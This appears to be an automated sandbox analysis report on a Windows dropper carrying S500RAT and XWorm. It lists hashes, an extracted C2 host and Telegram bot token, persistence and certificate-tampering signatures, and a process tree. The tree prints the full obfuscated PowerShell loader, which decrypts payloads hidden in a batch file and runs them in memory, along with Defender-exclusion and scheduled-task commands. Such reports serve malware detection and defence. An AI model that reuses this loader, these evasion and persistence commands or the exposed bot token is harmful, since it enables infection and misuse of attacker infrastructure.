Analysis
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max time kernel
144s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03-08-2024 02:30
Static task
static1
Behavioral task
behavioral1
Sample
fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe
Resource
win7-20240704-en
General
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Target
fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe
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Size
19.2MB
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MD5
aa4bb4c57074e543076b145b7399cd64
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SHA1
5e36e64cc686fa553b43d1c274d1a15e18b50501
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SHA256
fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7
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SHA512
ff38fc85d51fda9d32668949d2f67074be1e52cb6d63978155347173452199687935b9e96d3a060c7ab74461c5f4228b2c4cf8a0486ca5bbd9ea962a1c16c5eb
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SSDEEP
393216:0W7LVQgX47mXZGbWVQjFLICQA122lrL8jiQIthY4eqfIgUJzM8/bX9Wwy:NBfXZGbBjFLICB1hUji1tWbZT9W/
Malware Config
Extracted
xworm
floor-talked.gl.at.ply.gg:52348
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Install_directory
%AppData%
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install_file
processor.exe
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telegram
https://api.telegram.org/bot6944368626:AAEvUk2RtxxeA2BAieiHfX1ijoOaWr__RyY/sendMessage?chat_id=6270056635
Extracted
gurcu
https://api.telegram.org/bot6944368626:AAEvUk2RtxxeA2BAieiHfX1ijoOaWr__RyY/sendMessage?chat_id=6270056635
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4716-188-0x00000266EDD80000-0x00000266EDD96000-memory.dmp family_xworm -
Blocklisted process makes network request 12 IoCs
flow pid Process 8 5088 powershell.exe 10 4716 powershell.exe 12 4716 powershell.exe 14 5088 powershell.exe 18 4716 powershell.exe 19 5088 powershell.exe 20 5088 powershell.exe 21 4716 powershell.exe 24 5088 powershell.exe 25 4716 powershell.exe 26 5088 powershell.exe 27 4716 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 40 IoCs
Run Powershell and hide display window.
pid Process 2180 powershell.exe 3376 powershell.exe 2004 powershell.exe 3972 powershell.exe 3308 powershell.exe 740 powershell.exe 2624 powershell.exe 2212 powershell.exe 388 powershell.exe 2332 powershell.exe 3804 powershell.exe 2980 powershell.exe 4412 powershell.exe 4364 powershell.exe 4716 powershell.exe 4252 powershell.exe 1604 powershell.exe 5088 powershell.exe 4920 powershell.exe 4280 powershell.exe 2980 powershell.exe 3428 powershell.exe 4500 powershell.exe 1048 powershell.exe 4728 powershell.exe 3136 powershell.exe 2968 powershell.exe 508 powershell.exe 2056 powershell.exe 2548 powershell.exe 896 powershell.exe 3440 powershell.exe 2472 powershell.exe 212 powershell.exe 4192 powershell.exe 4000 powershell.exe 1936 powershell.exe 4068 powershell.exe 2204 powershell.exe 2216 powershell.exe -
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 4640 attrib.exe 3804 attrib.exe -
Checks computer location settings 2 TTPs 15 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation S500RAT.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation S500RAT.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation S500RAT.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation S500RAT.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\processor.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\processor.lnk powershell.exe -
Executes dropped EXE 6 IoCs
pid Process 4256 S500RAT.exe 2320 S500RAT.exe 1056 S500RAT.exe 628 S500RAT.exe 2444 S500RAT.exe 1768 system.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\system\\system.exe\"" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
pid Process 4472 timeout.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f system.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f system.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 system.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4716 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3440 powershell.exe 3440 powershell.exe 4068 powershell.exe 4068 powershell.exe 4280 powershell.exe 4280 powershell.exe 4500 powershell.exe 4500 powershell.exe 2472 powershell.exe 2472 powershell.exe 3804 powershell.exe 3804 powershell.exe 2180 powershell.exe 2180 powershell.exe 2180 powershell.exe 212 powershell.exe 212 powershell.exe 212 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe 4716 powershell.exe 4716 powershell.exe 3308 powershell.exe 3308 powershell.exe 4716 powershell.exe 3308 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 740 powershell.exe 740 powershell.exe 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 740 powershell.exe 4192 powershell.exe 4192 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 4192 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 740 powershell.exe 4000 powershell.exe 4000 powershell.exe 4000 powershell.exe 3136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3440 powershell.exe Token: SeDebugPrivilege 4068 powershell.exe Token: SeDebugPrivilege 4280 powershell.exe Token: SeDebugPrivilege 4500 powershell.exe Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 3804 powershell.exe Token: SeDebugPrivilege 2180 powershell.exe Token: SeIncreaseQuotaPrivilege 3804 powershell.exe Token: SeSecurityPrivilege 3804 powershell.exe Token: SeTakeOwnershipPrivilege 3804 powershell.exe Token: SeLoadDriverPrivilege 3804 powershell.exe Token: SeSystemProfilePrivilege 3804 powershell.exe Token: SeSystemtimePrivilege 3804 powershell.exe Token: SeProfSingleProcessPrivilege 3804 powershell.exe Token: SeIncBasePriorityPrivilege 3804 powershell.exe Token: SeCreatePagefilePrivilege 3804 powershell.exe Token: SeBackupPrivilege 3804 powershell.exe Token: SeRestorePrivilege 3804 powershell.exe Token: SeShutdownPrivilege 3804 powershell.exe Token: SeDebugPrivilege 3804 powershell.exe Token: SeSystemEnvironmentPrivilege 3804 powershell.exe Token: SeRemoteShutdownPrivilege 3804 powershell.exe Token: SeUndockPrivilege 3804 powershell.exe Token: SeManageVolumePrivilege 3804 powershell.exe Token: 33 3804 powershell.exe Token: 34 3804 powershell.exe Token: 35 3804 powershell.exe Token: 36 3804 powershell.exe Token: SeIncreaseQuotaPrivilege 3804 powershell.exe Token: SeSecurityPrivilege 3804 powershell.exe Token: SeTakeOwnershipPrivilege 3804 powershell.exe Token: SeLoadDriverPrivilege 3804 powershell.exe Token: SeSystemProfilePrivilege 3804 powershell.exe Token: SeSystemtimePrivilege 3804 powershell.exe Token: SeProfSingleProcessPrivilege 3804 powershell.exe Token: SeIncBasePriorityPrivilege 3804 powershell.exe Token: SeCreatePagefilePrivilege 3804 powershell.exe Token: SeBackupPrivilege 3804 powershell.exe Token: SeRestorePrivilege 3804 powershell.exe Token: SeShutdownPrivilege 3804 powershell.exe Token: SeDebugPrivilege 3804 powershell.exe Token: SeSystemEnvironmentPrivilege 3804 powershell.exe Token: SeRemoteShutdownPrivilege 3804 powershell.exe Token: SeUndockPrivilege 3804 powershell.exe Token: SeManageVolumePrivilege 3804 powershell.exe Token: 33 3804 powershell.exe Token: 34 3804 powershell.exe Token: 35 3804 powershell.exe Token: 36 3804 powershell.exe Token: SeIncreaseQuotaPrivilege 3804 powershell.exe Token: SeSecurityPrivilege 3804 powershell.exe Token: SeTakeOwnershipPrivilege 3804 powershell.exe Token: SeLoadDriverPrivilege 3804 powershell.exe Token: SeSystemProfilePrivilege 3804 powershell.exe Token: SeSystemtimePrivilege 3804 powershell.exe Token: SeProfSingleProcessPrivilege 3804 powershell.exe Token: SeIncBasePriorityPrivilege 3804 powershell.exe Token: SeCreatePagefilePrivilege 3804 powershell.exe Token: SeBackupPrivilege 3804 powershell.exe Token: SeRestorePrivilege 3804 powershell.exe Token: SeShutdownPrivilege 3804 powershell.exe Token: SeDebugPrivilege 3804 powershell.exe Token: SeSystemEnvironmentPrivilege 3804 powershell.exe Token: SeRemoteShutdownPrivilege 3804 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4716 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4512 wrote to memory of 4256 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 84 PID 4512 wrote to memory of 4256 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 84 PID 4512 wrote to memory of 3440 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 111 PID 4512 wrote to memory of 3440 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 111 PID 4512 wrote to memory of 1572 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 87 PID 4512 wrote to memory of 1572 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 87 PID 4512 wrote to memory of 4068 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 89 PID 4512 wrote to memory of 4068 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 89 PID 4512 wrote to memory of 3288 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 91 PID 4512 wrote to memory of 3288 4512 fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe 91 PID 1572 wrote to memory of 4280 1572 cmd.exe 93 PID 1572 wrote to memory of 4280 1572 cmd.exe 93 PID 3288 wrote to memory of 4500 3288 cmd.exe 94 PID 3288 wrote to memory of 4500 3288 cmd.exe 94 PID 4256 wrote to memory of 2320 4256 S500RAT.exe 96 PID 4256 wrote to memory of 2320 4256 S500RAT.exe 96 PID 4256 wrote to memory of 2472 4256 S500RAT.exe 97 PID 4256 wrote to memory of 2472 4256 S500RAT.exe 97 PID 4280 wrote to memory of 3804 4280 powershell.exe 141 PID 4280 wrote to memory of 3804 4280 powershell.exe 141 PID 4500 wrote to memory of 2180 4500 powershell.exe 101 PID 4500 wrote to memory of 2180 4500 powershell.exe 101 PID 4256 wrote to memory of 3300 4256 S500RAT.exe 103 PID 4256 wrote to memory of 3300 4256 S500RAT.exe 103 PID 4256 wrote to memory of 212 4256 S500RAT.exe 105 PID 4256 wrote to memory of 212 4256 S500RAT.exe 105 PID 4280 wrote to memory of 4768 4280 powershell.exe 154 PID 4280 wrote to memory of 4768 4280 powershell.exe 154 PID 4500 wrote to memory of 3336 4500 powershell.exe 108 PID 4500 wrote to memory of 3336 4500 powershell.exe 108 PID 4768 wrote to memory of 5096 4768 WScript.exe 109 PID 4768 wrote to memory of 5096 4768 WScript.exe 109 PID 3336 wrote to memory of 3440 3336 WScript.exe 111 PID 3336 wrote to memory of 3440 3336 WScript.exe 111 PID 4256 wrote to memory of 5076 4256 S500RAT.exe 113 PID 4256 wrote to memory of 5076 4256 S500RAT.exe 113 PID 2320 wrote to memory of 1056 2320 S500RAT.exe 115 PID 2320 wrote to memory of 1056 2320 S500RAT.exe 115 PID 2320 wrote to memory of 2204 2320 S500RAT.exe 134 PID 2320 wrote to memory of 2204 2320 S500RAT.exe 134 PID 5096 wrote to memory of 4716 5096 cmd.exe 118 PID 5096 wrote to memory of 4716 5096 cmd.exe 118 PID 3300 wrote to memory of 3308 3300 cmd.exe 119 PID 3300 wrote to memory of 3308 3300 cmd.exe 119 PID 2320 wrote to memory of 4836 2320 S500RAT.exe 190 PID 2320 wrote to memory of 4836 2320 S500RAT.exe 190 PID 2320 wrote to memory of 2216 2320 S500RAT.exe 122 PID 2320 wrote to memory of 2216 2320 S500RAT.exe 122 PID 3308 wrote to memory of 1048 3308 powershell.exe 124 PID 3308 wrote to memory of 1048 3308 powershell.exe 124 PID 2320 wrote to memory of 2188 2320 S500RAT.exe 125 PID 2320 wrote to memory of 2188 2320 S500RAT.exe 125 PID 3440 wrote to memory of 740 3440 cmd.exe 128 PID 3440 wrote to memory of 740 3440 cmd.exe 128 PID 1056 wrote to memory of 628 1056 S500RAT.exe 129 PID 1056 wrote to memory of 628 1056 S500RAT.exe 129 PID 1056 wrote to memory of 4192 1056 S500RAT.exe 130 PID 1056 wrote to memory of 4192 1056 S500RAT.exe 130 PID 3308 wrote to memory of 432 3308 powershell.exe 132 PID 3308 wrote to memory of 432 3308 powershell.exe 132 PID 432 wrote to memory of 4056 432 WScript.exe 133 PID 432 wrote to memory of 4056 432 WScript.exe 133 PID 1056 wrote to memory of 1208 1056 S500RAT.exe 135 PID 1056 wrote to memory of 1208 1056 S500RAT.exe 135 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 4640 attrib.exe 3804 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe"C:\Users\Admin\AppData\Local\Temp\fd322e2a6a8d43ac59508e0f8c4c9b3521e7c543912c606bf3567179ce38d2f7.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
PID:628 -
C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"C:\Users\Admin\AppData\Local\Temp\S500RAT.exe"6⤵
- Executes dropped EXE
PID:2444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat'6⤵
- Command and Scripting Interpreter: PowerShell
PID:1936
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\invoicer.bat" "6⤵PID:4480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:2980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_459_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_459.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force8⤵
- Command and Scripting Interpreter: PowerShell
PID:3428
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_459.vbs"8⤵
- Checks computer location settings
PID:680 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_459.bat" "9⤵PID:3480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Roaming\startup_str_459.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; 